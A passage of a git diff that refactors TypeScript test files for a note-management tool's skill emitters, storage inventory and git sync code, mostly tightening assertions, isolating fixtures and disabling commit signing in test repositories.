expect(res.removed).toEqual([".claude/skills/two"]); expect(existsSync(join(claudeDir, "two"))).toBe(false); diff --git a/packages/core/tests/skills-discover.test.ts b/packages/core/tests/skills-discover.test.ts index 2b335dcafe..d6469a42d3 100644 --- a/packages/core/tests/skills-discover.test.ts +++ b/packages/core/tests/skills-discover.test.ts @@ -87,8 +87,8 @@ describe("discoverSkills precedence", () => { test("invalid/missing frontmatter is warned and skipped", () => { expect(map.broken).toBeUndefined(); expect(map.nodesc).toBeUndefined(); - expect(warnings.some((w) => w.includes("broken/SKILL.md"))).toBe(true); - expect(warnings.some((w) => w.includes("nodesc/SKILL.md"))).toBe(true); + expect(warnings).toContainEqual(expect.stringContaining("broken/SKILL.md")); + expect(warnings).toContainEqual(expect.stringContaining("nodesc/SKILL.md")); }); }); @@ -105,7 +105,7 @@ describe("discoverSkills edge cases", () => { { coreSkillsDir: mkTmp("bf-emptycore-") } ); expect(byName(skills).dup.description).toBe("from A"); - expect(warnings.some((w) => w.includes("more than one module"))).toBe(true); + expect(warnings).toContainEqual(expect.stringContaining("more than one module")); }); test("symlinked entries under .agents/skills are not read as local skills", () => { diff --git a/packages/core/tests/skills-index-emitters.test.ts b/packages/core/tests/skills-index-emitters.test.ts index f38c765460..11d2015864 100644 --- a/packages/core/tests/skills-index-emitters.test.ts +++ b/packages/core/tests/skills-index-emitters.test.ts @@ -97,30 +97,38 @@ function readOnly(paths: string[], fn: () => T): T { } describe("codexEmitter AGENTS.md contract block", () => { - const root = mkRepo(); - const add = skill(root, "add", "Capture a note into the brain."); - const audit = skill(root, "audit", "Report hygiene issues: staleness, orphans."); - const agentsFile = join(root, "AGENTS.md"); + /** A fresh repo with two skills, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const add = skill(root, "add", "Capture a note into the brain."); + const audit = skill(root, "audit", "Report hygiene issues: staleness, orphans."); + for (let run = 0; run < times; run++) codexEmitter.emit([add, audit], root); + return { root, add, audit, agentsFile: join(root, "AGENTS.md") }; + } test("writes AGENTS.md and no .codex directory", () => { + const { root, add, audit } = repo(0); const res = codexEmitter.emit([add, audit], root); expect(res.written).toEqual(["AGENTS.md"]); expect(existsSync(join(root, ".codex"))).toBe(false); }); test("the block's text is the body of the installed CONTRACT.md", () => { + const { agentsFile } = repo(1); expect(contractBody.length).toBeGreaterThan(0); expect(contractBody).toContain("source of truth"); expect(contractBlockBody(readFileSync(agentsFile, "utf8"))).toBe(contractBody); }); test("the block restates no skill", () => { + const { agentsFile } = repo(1); const text = readFileSync(agentsFile, "utf8"); expect(text).not.toContain(INDEX_START); expect(text).not.toContain("Capture a note into the brain."); }); test("re-running on an unchanged skill set makes no write at all", () => { + const { root, add, audit, agentsFile } = repo(1); const before = readFileSync(agentsFile); const res = readOnly([agentsFile, root], () => codexEmitter.emit([add, audit], root)); expect(res).toEqual({ written: [], removed: [], warnings: [] }); @@ -129,21 +137,27 @@ describe("codexEmitter AGENTS.md contract block", () => { }); describe("contract block preserves surrounding content", () => { - const root = mkRepo(); - const add = skill(root, "add", "Capture a note."); - const agentsFile = join(root, "AGENTS.md"); const preamble = "# My Repo\n\nHand-written guidance the emitter must never touch.\n"; const postamble = "\n## After\n\nMore hand-written text, below the block.\n"; - - test("appends the block below existing content", () => { + /** A fresh repo whose hand-written AGENTS.md has had the block appended once. */ + function appended() { + const root = mkRepo(); + const add = skill(root, "add", "Capture a note."); + const agentsFile = join(root, "AGENTS.md"); writeFileSync(agentsFile, preamble); codexEmitter.emit([add], root); + return { root, add, agentsFile }; + } + + test("appends the block below existing content", () => { + const { agentsFile } = appended(); const text = readFileSync(agentsFile, "utf8"); - expect(text.startsWith(preamble)).toBe(true); + expect(text.slice(0, preamble.length)).toBe(preamble); expect(text).toContain(CONTRACT_START); }); test("content on both sides of the markers is byte-identical after a sync", () => { + const { root, add, agentsFile } = appended(); writeFileSync(agentsFile, readFileSync(agentsFile, "utf8") + postamble); const staleBlock = readFileSync(agentsFile, "utf8").replace( /[\s\S]*/, @@ -166,6 +180,9 @@ describe("contract block preserves surrounding content", () => { }); test("re-run makes no write with the surrounding content intact", () => { + const { root, add, agentsFile } = appended(); + writeFileSync(agentsFile, readFileSync(agentsFile, "utf8") + postamble); + codexEmitter.emit([add], root); const before = readFileSync(agentsFile); const res = readOnly([agentsFile, root], () => codexEmitter.emit([add], root)); expect(res.written).toEqual([]); @@ -461,7 +478,8 @@ describe("syncSkills surfaces an emitter's warnings", () => { const root = mkRepo(); writeFileSync(join(root, "AGENTS.md"), `${CONTRACT_START}\nno end\n`); const res = syncSkills({ root, modules: [] }, { emitters: [codexEmitter], coreSkillsDir: join(root, "none") }); - expect(res.warnings.some((w) => w.startsWith("codex emitter: AGENTS.md has 1 start and 0 end marker(s)"))).toBe(true); + const prefix = "codex emitter: AGENTS.md has 1 start and 0 end marker(s)"; + expect(res.warnings.map((w) => w.slice(0, prefix.length))).toContain(prefix); expect(res.emitters).toEqual([{ agent: "codex", written: [], removed: [] }]); }); }); @@ -559,7 +577,8 @@ describe("geminiEmitter GEMINI.md contract", () => { writeFileSync(join(root, "GEMINI.md"), text); const res = syncSkills({ root, modules: [] }, { emitters: [geminiEmitter], coreSkillsDir: join(root, "none") }); expect(readFileSync(join(root, "GEMINI.md"), "utf8")).toBe(text); - expect(res.warnings.some(w => w.startsWith("gemini emitter: GEMINI.md has 1 start and 0 end marker(s)"))).toBe(true); + const warning = "gemini emitter: GEMINI.md has 1 start and 0 end marker(s)"; + expect(res.warnings.map((w) => w.slice(0, warning.length))).toContain(warning); }); }); @@ -593,7 +612,7 @@ describe("Gemini installed contract refresh and read failure", () => { writeFileSync(contract, upgraded); expect(emit().written).toEqual(["GEMINI.md"]); const text = readFileSync(file, "utf8"); - expect(text.startsWith(before)).toBe(true); + expect(text.slice(0, before.length)).toBe(before); expect(contractBlockBody(text)).toBe(upgraded.trim()); expect(emit().written).toEqual([]); }); diff --git a/packages/core/tests/skills-lint.test.ts b/packages/core/tests/skills-lint.test.ts index 2f9d9113d2..b34dfa5475 100644 --- a/packages/core/tests/skills-lint.test.ts +++ b/packages/core/tests/skills-lint.test.ts @@ -71,7 +71,7 @@ describe("lint rules — one fixture per rule", () => { test("missing description → error", () => { const s = mkSkill("nodesc", { name: "nodesc" }); const findings = lintSkills([s]); - expect(findings.some((f) => f.rule === "frontmatter" && f.severity === "error")).toBe(true); + expect(findings).toContainEqual(expect.objectContaining({ rule: "frontmatter", severity: "error" })); }); test("Claude-only tool in body → error", () => { @@ -201,8 +201,7 @@ describe("lint rules — one fixture per rule", () => { extraFm: { "allowed-tools": "Bash", "disable-model-invocation": true }, }); const findings = lintSkills([s]).filter((f) => f.rule === "claude-specific-frontmatter"); - expect(findings).toHaveLength(2); - expect(findings.every((f) => f.severity === "info")).toBe(true); + expect(findings.map((f) => f.severity)).toEqual(["info", "info"]); }); test("absolute path in body → warning", () => { @@ -231,7 +230,7 @@ describe("lint rules — one fixture per rule", () => { const b = mkSkill("b-bad", { name: "b-bad", description: "d", body: "Claude should do it." }); const findings = lintSkills([a, b]); expect(findings).toContainEqual(expect.objectContaining({ skill: "b-bad", rule: "acting-agent", severity: "warning" })); - expect(findings.every((f) => f.skill === "b-bad")).toBe(true); + expect(findings.filter((f) => f.skill !== "b-bad")).toEqual([]); }); }); diff --git a/packages/core/tests/skills-pi-emitter.test.ts b/packages/core/tests/skills-pi-emitter.test.ts index 76df18d701..52e6ba24de 100644 --- a/packages/core/tests/skills-pi-emitter.test.ts +++ b/packages/core/tests/skills-pi-emitter.test.ts @@ -25,14 +25,19 @@ function skill(root: string, name: string): SkillManifest { } describe("piEmitter symlink round-trip", () => { - const root = mkRepo(); - const one = skill(root, "one"); - const two = skill(root, "two"); - const piDir = join(root, ".pi", "skills"); + /** A fresh repo with skills one and two, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const one = skill(root, "one"); + const two = skill(root, "two"); + for (let run = 0; run < times; run++) piEmitter.emit([one, two], root); + return { root, one, two, piDir: join(root, ".pi", "skills") }; + } test("first emit creates relative symlinks into the canonical home", () => { // pi reads /.pi/skills, never .agents/skills — but the skill itself // must stay single-sourced, so these are links rather than copies. + const { root, one, two, piDir } = repo(0); const res = piEmitter.emit([one, two], root); expect(res.written.sort()).toEqual([".pi/skills/one", ".pi/skills/two"]); expect(res.removed).toEqual([]); @@ -44,12 +49,14 @@ describe("piEmitter symlink round-trip", () => { }); test("second emit is idempotent (no writes, no removals)", () => { + const { root, one, two } = repo(1); const res = piEmitter.emit([one, two], root); expect(res.written).toEqual([]); expect(res.removed).toEqual([]); }); test("dropping a skill prunes its stale symlink", () => { + const { root, one, piDir } = repo(1); const res = piEmitter.emit([one], root); expect(res.removed).toEqual([".pi/skills/two"]); expect(existsSync(join(piDir, "two"))).toBe(false); diff --git a/packages/core/tests/skills-shipped-lint.test.ts b/packages/core/tests/skills-shipped-lint.test.ts index 6af4fd8142..27ac6d5e23 100644 --- a/packages/core/tests/skills-shipped-lint.test.ts +++ b/packages/core/tests/skills-shipped-lint.test.ts @@ -42,7 +42,7 @@ describe("shipped core skills", () => { const { skills, warnings } = shippedSkills(); expect(warnings).toEqual([]); expect(skills.length).toBeGreaterThanOrEqual(12); - expect(skills.every((s) => s.source === "core")).toBe(true); + expect(skills.filter((s) => s.source !== "core").map((s) => s.name)).toEqual([]); }); test("include external-compute, which skills sync emits for Claude (#3107)", () => { diff --git a/packages/core/tests/stats-history.test.ts b/packages/core/tests/stats-history.test.ts index 752eae4f0c..58260ff118 100644 --- a/packages/core/tests/stats-history.test.ts +++ b/packages/core/tests/stats-history.test.ts @@ -114,7 +114,7 @@ describe("recordSnapshot", () => { recordSnapshot(root, snap("2026-09-27")); recordSnapshot(root, snap("2026-09-28")); expect(lines(root).map((l) => JSON.parse(l).date)).toEqual(["2026-09-27", "2026-09-28", "2026-09-29"]); - expect(readFileSync(join(root, STATS_HISTORY_FILE), "utf8").endsWith("}\n")).toBe(true); + expect(readFileSync(join(root, STATS_HISTORY_FILE), "utf8").slice(-2)).toBe("}\n"); }); test("refuses to rewrite a file with a line that is not a snapshot, and leaves it as it was", () => { @@ -159,7 +159,9 @@ describe("retention", () => { kept = thin(kept, today); for (let i = 0; i < 60; i++) { today = new Date(Date.parse(`${today}T00:00:00Z`) + 86_400_000).toISOString().slice(0, 10); - const before = kept.filter((s) => Date.parse(s.date) < Date.parse(today) - (DAILY_DAYS + 7) * 86_400_000); + // Everything already past yesterday's daily window was kept for good, a week straddling it included. + const before = kept.filter((s) => Date.parse(s.date) < Date.parse(today) - (DAILY_DAYS + 1) * 86_400_000); + expect(before.length).toBeGreaterThan(0); kept = thin([...kept, { date: today }], today); for (const s of before) expect(kept.map((k) => k.date)).toContain(s.date); } diff --git a/packages/core/tests/stats-trends-cli.test.ts b/packages/core/tests/stats-trends-cli.test.ts index 1e36a567df..3f1fbb7f84 100644 --- a/packages/core/tests/stats-trends-cli.test.ts +++ b/packages/core/tests/stats-trends-cli.test.ts @@ -23,7 +23,7 @@ test("real stats, history, briefing and maintain reuse nonempty core verdicts; e writeFileSync(path, original); const expected = readStatsTrends(root, { coverageFloor: 0.9, brokenLinkCeiling: 0.05 }, now).verdicts; expect(expected).toHaveLength(3); - expect(expected.every(v => v.state === "warning")).toBe(true); + expect(expected.map(v => v.state)).toEqual(["warning", "warning", "warning"]); for (const command of [["stats", "--json"], ["stats", "--history", "--since", rows[13].date, "--json"]]) { const result = await runCli(root, command); expect(result.code, result.stderr).toBe(0); @@ -56,7 +56,7 @@ test("no history is an explicit insufficient verdict with no briefing warnings o expect(result.code).toBe(0); const { trends } = JSON.parse(result.stdout); expect(trends.verdicts).toHaveLength(3); - expect(trends.verdicts.every((v: { state: string }) => v.state === "insufficient")).toBe(true); + expect(trends.verdicts.map((v: { state: string }) => v.state)).toEqual(["insufficient", "insufficient", "insufficient"]); expect((await runCli(root, ["briefing"])).stdout).not.toContain("Initial policy thresholds"); expect(existsSync(join(root, STATS_HISTORY_FILE))).toBe(false); }); diff --git a/packages/core/tests/storage-attachment-facts.test.ts b/packages/core/tests/storage-attachment-facts.test.ts index 7c9ca92c8c..63a553d609 100644 --- a/packages/core/tests/storage-attachment-facts.test.ts +++ b/packages/core/tests/storage-attachment-facts.test.ts @@ -15,6 +15,6 @@ test("attachment consequences include unindexed Markdown links and invalidate wh writeFileSync(join(root, "notes/arrival.md"), "[[chart.pdf]]\n"); const second = inspectStorageAttachmentFacts(root, ["attachments/chart.pdf"]); expect(second.fingerprint, "STORAGE_CONSEQUENCES_BOUND_TO_REVIEW").not.toBe(first.fingerprint); - expect(second.files[0]?.references.some(value => value.source === "notes/arrival.md" && value.certainty === "possible")).toBe(true); + expect(second.files[0]?.references).toContainEqual(expect.objectContaining({ source: "notes/arrival.md", certainty: "possible" })); } finally { rmSync(root, { recursive: true, force: true }); } }); diff --git a/packages/core/tests/storage-attachments.test.ts b/packages/core/tests/storage-attachments.test.ts index db6a0444c4..fe899d79ee 100644 --- a/packages/core/tests/storage-attachments.test.ts +++ b/packages/core/tests/storage-attachments.test.ts @@ -35,7 +35,8 @@ test("aliases, executable attachments and protected paths remain ineligible", as rmSync(join(f.root, "attachments", "alias.pdf")); chmodSync(f.file, 0o700); await expect(inspectStorageAttachment(f.root, f.path)).rejects.toThrow("protected"); chmodSync(f.file, 0o600); symlinkSync(f.file, join(f.root, "attachments", "link.pdf")); - await expect(inspectStorageAttachment(f.root, "attachments/link.pdf")).rejects.toThrow(); + // O_NOFOLLOW refuses the link itself (ELOOP); any other error would not prove the link was not followed. + await expect(inspectStorageAttachment(f.root, "attachments/link.pdf")).rejects.toThrow(/ELOOP|protected/); for (const path of [".brain/cache.pdf", "workspaces/harbor/chart.pdf", "context/policies/chart.pdf", "../chart.pdf", "attachments/script.ts"]) await expect(inspectStorageAttachment(f.root, path)).rejects.toThrow("protected"); expect(readFileSync(f.file)).toEqual(f.bytes); diff --git a/packages/core/tests/storage-host-reader.test.ts b/packages/core/tests/storage-host-reader.test.ts index 00b05562f4..5e4bd1a448 100644 --- a/packages/core/tests/storage-host-reader.test.ts +++ b/packages/core/tests/storage-host-reader.test.ts @@ -34,7 +34,7 @@ test("public host reader resolves approved worktree markers and refuses redirect expect((await readStorageInventory({ brainPath: worktree })).errors, "STORAGE_HOST_APPROVED_ROOTS_ONLY").toContainEqual({ path: "git", reason: "external-git-root-not-approved" }); const result = await readStorageInventory({ brainPath: worktree, gitRoots: [repo, alternate] }); expect(result.status, JSON.stringify(result.errors)).toBe("complete"); - expect(result.roots.some(value => value.path === join(alternate, "objects"))).toBe(true); + expect(result.roots.map(value => value.path)).toContain(join(alternate, "objects")); const common = join(repo, ".git", "worktrees", "voyage", "commondir"), outside = join(root, "outside-marker"); unlinkSync(common); writeFileSync(outside, "../..\n"); symlinkSync(outside, common); expect((await readStorageInventory({ brainPath: worktree, gitRoots: [repo, alternate] })).errors, "STORAGE_HOST_MARKER_REDIRECT_REFUSED").toContainEqual({ path: "git", reason: "git-metadata-unsupported" }); diff --git a/packages/core/tests/storage-inventory.test.ts b/packages/core/tests/storage-inventory.test.ts index 8a3d4d2d43..0efd3c4285 100644 --- a/packages/core/tests/storage-inventory.test.ts +++ b/packages/core/tests/storage-inventory.test.ts @@ -53,18 +53,18 @@ test("resolves real linked worktrees and approved alternates without counting sh mkdirSync(repo); mkdirSync(alternate); git(repo, "init"); git(alternate, "init", "--bare"); writeFileSync(join(repo, "raft.md"), "Odysseus builds a raft.\n"); - git(repo, "add", "."); git(repo, "-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Raft"); + git(repo, "add", "."); // Command-scoped: environment-scoped signing config outranks GIT_CONFIG_GLOBAL (#3485). + git(repo, "-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Raft"); git(repo, "worktree", "add", "-b", "voyage", worktree); writeFileSync(join(repo, ".git", "objects", "info", "alternates"), join(alternate, "objects") + "\n"); // Only objects/info/alternates has Git alternate semantics. writeFileSync(join(repo, ".git", "info", "alternates"), "/not-an-approved-store\n"); const denied = await collectStorageInventory(worktree); expect(denied.status, "UNAPPROVED_GIT_STORE_PARTIAL").toBe("partial"); - expect(denied.errors.some((e: any) => e.reason === "external-git-root-not-approved")).toBe(true); + expect(denied.errors.map((e: any) => e.reason)).toContain("external-git-root-not-approved"); const approved = await collectStorageInventory(worktree, { gitRoots: [repo, alternate] }); expect(approved.status, JSON.stringify(approved.errors)).toBe("complete"); - expect(approved.roots.some((r: any) => r.path === join(repo, ".git"))).toBe(true); - expect(approved.roots.some((r: any) => r.path === join(alternate, "objects"))).toBe(true); + expect(approved.roots.map((r: any) => r.path)).toEqual(expect.arrayContaining([join(repo, ".git"), join(alternate, "objects")])); expect(new Set(approved.entries.map((e: any) => e.objectId)).size, "OVERLAPPING_GIT_ROOT_UNION").toBe(approved.entries.length); const again = await collectStorageInventory(worktree, { gitRoots: [repo, alternate] }); expect(again.revision, "STABLE_OBSERVATION_REVISION").toBe(approved.revision); diff --git a/packages/core/tests/storage-pack.test.ts b/packages/core/tests/storage-pack.test.ts index b6f6384179..67996fab10 100644 --- a/packages/core/tests/storage-pack.test.ts +++ b/packages/core/tests/storage-pack.test.ts @@ -2,12 +2,15 @@ import { expect, test } from "bun:test"; import { writeFileSync } from "node:fs"; import { join } from "node:path"; import { makeTempBrain, cleanup, keylessEnv, runCli } from "./cli-harness"; + +// Fixture commits disable signing at command scope, so no ambient or +// environment-scoped signing configuration reaches them (#3485). test("storage pack uses existing non-destructive maintenance and preserves history and refs", async () => { const root = makeTempBrain(); const git = (...args: string[]) => { const p = Bun.spawnSync(["git", "-C", root, ...args], { stdout: "pipe", stderr: "pipe", env: { ...process.env, GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_NOSYSTEM: "1" } }); expect(p.exitCode, p.stderr.toString()).toBe(0); return p.stdout.toString(); }; try { - git("init"); git("add", "."); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Ithaca"); - writeFileSync(join(root, "chart.bin"), Buffer.alloc(8192, 7)); git("add", "chart.bin"); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Voyage"); + git("init"); git("add", "."); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Ithaca"); + writeFileSync(join(root, "chart.bin"), Buffer.alloc(8192, 7)); git("add", "chart.bin"); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Voyage"); git("tag", "departure", "HEAD~1"); const refs = git("show-ref"), history = git("log", "--all", "--format=%H"), reflog = git("reflog", "--all", "--format=%H"); const result = await runCli(root, ["storage", "pack", "--json"]); expect(result.code, "STORAGE_PACK_NARROW_COMMAND").toBe(0); @@ -37,7 +40,7 @@ test("packing on a genuinely full private tmpfs refuses before maintenance and p const root=${JSON.stringify(root)}; const env={...process.env,GIT_CONFIG_GLOBAL:"/dev/null",GIT_CONFIG_NOSYSTEM:"1",GIT_OPTIONAL_LOCKS:"0"}; function git(...args){const p=Bun.spawnSync(["git","-C",root,...args],{env,stdout:"pipe",stderr:"pipe"});if(p.exitCode)throw Error(p.stderr.toString());return p.stdout.toString();} -writeFileSync(root+"/brain.config.ts","export default {};\\n");writeFileSync(root+"/recovery.txt","Odysseus retains the chart.");git("init");git("add",".");git("-c","user.name=Odysseus","-c","user.email=odysseus@example.invalid","commit","-m","Ithaca");const before=git("show-ref"); +writeFileSync(root+"/brain.config.ts","export default {};\\n");writeFileSync(root+"/recovery.txt","Odysseus retains the chart.");git("init");git("add",".");git("-c","user.name=Odysseus","-c","user.email=odysseus@example.invalid","-c","commit.gpgsign=false","commit","-m","Ithaca");const before=git("show-ref"); const fd=openSync(root+"/occupied","wx");try{for(let i=0;i<4096;i++)writeSync(fd,Buffer.alloc(4096));}catch(error){if(error.code!=="ENOSPC")throw error;}finally{closeSync(fd);} if(statfsSync(root).bavail!==0)throw Error("volume did not fill"); const p=Bun.spawnSync([process.execPath,${JSON.stringify(cli)},"storage","pack","--json"],{env:{...env,BRAIN_ROOT:root},stdout:"pipe",stderr:"pipe"}); diff --git a/packages/core/tests/sync-artifacts.test.ts b/packages/core/tests/sync-artifacts.test.ts index f4970a6d38..bdfd900399 100644 --- a/packages/core/tests/sync-artifacts.test.ts +++ b/packages/core/tests/sync-artifacts.test.ts @@ -5,7 +5,7 @@ * commit carries `.gitignore` alone. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -18,11 +18,27 @@ import { type AssessedFile, type IgnorePlan, } from "../src/lib/sync/artifacts.js"; +import { withoutSigning } from "./git-fixture"; const ARTIFACT = [".DS_Store", "*.swp", "*~", "*.log", "tmp/*"]; const dirs: string[] = []; +// applyIgnores commits through git children that inherit process.env, and an +// env-scoped `GIT_CONFIG_COUNT` signing setting outranks the fixture's +// repository-local `commit.gpgsign false` (#3485). Append the overrides for +// each test and put the environment back exactly as it was. +let savedEnv: Record = {}; +beforeEach(() => { + const isolated = withoutSigning({ ...process.env } as Record); + savedEnv = Object.fromEntries(Object.keys(isolated).filter((key) => key.startsWith("GIT_CONFIG_")).map((key) => [key, process.env[key]])); + for (const key of Object.keys(savedEnv)) process.env[key] = isolated[key]; +}); + afterEach(() => { + for (const [key, value] of Object.entries(savedEnv)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); diff --git a/packages/core/tests/sync-assess.test.ts b/packages/core/tests/sync-assess.test.ts index 9ebca48d7f..baedb1ea0c 100644 --- a/packages/core/tests/sync-assess.test.ts +++ b/packages/core/tests/sync-assess.test.ts @@ -33,7 +33,10 @@ describe("sync exact paths", () => { expect(body.files).toContainEqual({ path: "new -> note.md", class: "TRACK", status: "R" }); for (const path of names) expect(body.files).toContainEqual({ path, class: "TRACK", status: "?" }); const grouped = JSON.parse((await runCli(root, ["sync", "group", "--json"])).stdout); - expect(grouped.groups.some((g: { path: string }) => g.path.includes("credentials"))).toBe(false); + const groupedPaths = grouped.groups.map((g: { path: string }) => g.path); + // The TRACK files are grouped; neither SENSITIVE file is. + expect(groupedPaths).toContain("new -> note.md"); + expect(groupedPaths).not.toContainEqual(expect.stringContaining("credentials")); } finally { cleanup(root); } }); diff --git a/packages/core/tests/sync-commit.test.ts b/packages/core/tests/sync-commit.test.ts index 349fac7aa6..114807a07b 100644 --- a/packages/core/tests/sync-commit.test.ts +++ b/packages/core/tests/sync-commit.test.ts @@ -77,7 +77,7 @@ describe("composeSubject", () => { test("a first title too long alone is shortened, still within 72 characters", () => { const subject = composeSubject("Add", ["routes"], ["A".repeat(100), "B"]); expect([...subject].length).toBeLessThanOrEqual(72); - expect(subject.endsWith("… (+1 more)")).toBe(true); + expect(subject).toEndWith("… (+1 more)"); }); }); @@ -91,7 +91,7 @@ describe("planCommits", () => { const plan = planCommits(root, groups); expect(plan.commits.map((c) => c.files.length)).toEqual([10, 2]); - expect(plan.commits.every((c) => c.domains.join() === "routes")).toBe(true); + expect(plan.commits.map((c) => c.domains)).toEqual([["routes"], ["routes"]]); expect(plan.commits[1]!.subject).toBe("Add routes: Route 11, Route 12"); }); @@ -261,7 +261,7 @@ describe("applyCommitPlan", () => { const results = applyCommitPlan(root, planCommits(root, [groups[0]!, groups[1]!]), allowed); expect(filesOf(root, "HEAD").sort()).toEqual(["routes/lake.md", "routes/ridge.md"]); expect(git(root, "diff", "--cached", "--name-only")).toBe("gear/radio.md\nstaged.md"); - expect("sha" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("sha"); }); test("a file outside the allowed set refuses the whole plan and commits nothing", () => { @@ -269,8 +269,8 @@ describe("applyCommitPlan", () => { const head = git(root, "rev-parse", "HEAD"); const plan = planCommits(root, [...groups, { domain: "misc", status: "A", path: "staged.md" }]); const results = applyCommitPlan(root, plan, allowed); - expect(results.every((r) => "error" in r)).toBe(true); - expect(results.some((r) => "error" in r && r.error === "refused: not in the assessed set: staged.md")).toBe(true); + expect(results.filter((r) => !("error" in r))).toEqual([]); + expect(results.map((r) => ("error" in r ? r.error : null))).toContain("refused: not in the assessed set: staged.md"); expect(git(root, "rev-parse", "HEAD")).toBe(head); }); @@ -292,7 +292,7 @@ describe("applyCommitPlan", () => { write(root, "a*.md", "star\n"); write(root, "ab.md", "not allowed\n"); const results = applyCommitPlan(root, { commits: [{ domains: ["x"], files: [{ path: "a*.md", status: "?" }], subject: "Add x: a*", body: "" }] }, new Set(["a*.md"])); - expect("sha" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("sha"); expect(filesOf(root, "HEAD")).toEqual(["a*.md"]); expect(git(root, "status", "--porcelain")).toBe("?? ab.md"); }); @@ -303,7 +303,7 @@ describe("applyCommitPlan", () => { writeFileSync(join(hooks, "pre-commit"), "#!/bin/sh\nexit 1\n", { mode: 0o755 }); write(root, "routes/lake.md", note("Cave Path")); const results = applyCommitPlan(root, planCommits(root, [{ domain: "routes", status: "?", path: "routes/lake.md" }]), new Set(["routes/lake.md"])); - expect("error" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("error"); expect(git(root, "status", "--porcelain", "-uall")).toBe("?? routes/lake.md"); }); }); diff --git a/packages/core/tests/sync-merge-hidden.test.ts b/packages/core/tests/sync-merge-hidden.test.ts index a63828ccb8..e0a0175882 100644 --- a/packages/core/tests/sync-merge-hidden.test.ts +++ b/packages/core/tests/sync-merge-hidden.test.ts @@ -34,7 +34,7 @@ describe("table-union compares cells as written", () => { const { content, notes } = resolvedOf(planMerge({ path: "_index.md", base, ours, theirs }, "table-union").render(new Map())); expect(content).toContain("| ridge | [old](new-url) |"); expect(content).toContain("| ridge | [new](old) |"); - expect(notes.some((note) => note.includes("both sides changed"))).toBe(true); + expect(notes).toContainEqual(expect.stringContaining("both sides changed")); }); test("a link target only THEIRS changed is taken", () => { diff --git a/packages/core/tests/sync-pending-state.test.ts b/packages/core/tests/sync-pending-state.test.ts index 3b719bd6a1..bd06d11ab5 100644 --- a/packages/core/tests/sync-pending-state.test.ts +++ b/packages/core/tests/sync-pending-state.test.ts @@ -9,18 +9,35 @@ * that says origin/main is in HEAD (synced, fast-forwarded, merged) is true. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { chmodSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { conclude, pendingState } from "../src/lib/sync/merge-state.js"; import { makeTempBrain, runCli } from "./cli-harness"; +import { withoutSigning } from "./git-fixture"; const CACHE = ".brain-cache/contexts.jsonl"; const NOTE = "notes/sailor-log.md"; const dirs: string[] = []; +// Environment-scoped Git configuration (GIT_CONFIG_COUNT) outranks the +// repository-local `commit.gpgsign false` below, and reaches both the +// in-process sync code and the CLI children through process.env (#3485). +// Each test appends command-scoped no-signing entries and drops them after. +let restoreGitConfig = () => {}; +beforeEach(() => { + const before: Record = {}; + for (const [key, value] of Object.entries(process.env)) if (value !== undefined && key.startsWith("GIT_CONFIG_")) before[key] = value; + Object.assign(process.env, withoutSigning(before)); + restoreGitConfig = () => { + for (const key of Object.keys(process.env)) if (key.startsWith("GIT_CONFIG_") && !(key in before)) delete process.env[key]; + Object.assign(process.env, before); + }; +}); + afterEach(() => { + restoreGitConfig(); for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); diff --git a/packages/core/tests/sync-pull-rebase.test.ts b/packages/core/tests/sync-pull-rebase.test.ts index 74a35942f2..3e420c1387 100644 --- a/packages/core/tests/sync-pull-rebase.test.ts +++ b/packages/core/tests/sync-pull-rebase.test.ts @@ -90,7 +90,7 @@ describe("rebase-first sync pull", () => { const recorder = recordingGit(root); const { body, result } = await pull(root, recorder.env); expect(readFileSync(join(root, CACHE), "utf-8")).toBe(ours); - expect(recorder.calls().some((line) => line.includes("rebase --abort"))).toBe(true); + expect(recorder.calls()).toContainEqual(expect.stringContaining("rebase --abort")); expect(body.mergedCaches).toContain(CACHE); expect(body.status).toBe("conflicted"); expect(result.code).toBe(0); diff --git a/packages/core/tests/sync-stash.test.ts b/packages/core/tests/sync-stash.test.ts index 86e1d871e6..740fcd80fd 100644 --- a/packages/core/tests/sync-stash.test.ts +++ b/packages/core/tests/sync-stash.test.ts @@ -14,18 +14,20 @@ import { reconcileStashes } from "../src/lib/sync/stash.js"; import { mergeFileMarkers } from "./sync-fixture"; const dirs: string[] = []; +/** Fixture commits never sign, whatever ambient or environment-scoped configuration says (#3485). */ +const UNSIGNED = ["-c", "commit.gpgsign=false"]; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function run(cwd: string, ...args: string[]): { out: string; code: number } { - const result = Bun.spawnSync(["git", "-C", cwd, ...args]); + const result = Bun.spawnSync(["git", ...UNSIGNED, "-C", cwd, ...args]); return { out: (result.stdout.toString() + result.stderr.toString()).trim(), code: result.exitCode ?? 0 }; } function git(cwd: string, ...args: string[]): string { - const result = Bun.spawnSync(["git", "-C", cwd, ...args]); + const result = Bun.spawnSync(["git", ...UNSIGNED, "-C", cwd, ...args]); if (result.exitCode !== 0) throw new Error(`git ${args.join(" ")}: ${result.stderr.toString()}`); return result.stdout.toString().trim(); } diff --git a/packages/core/tests/sync-verbs.test.ts 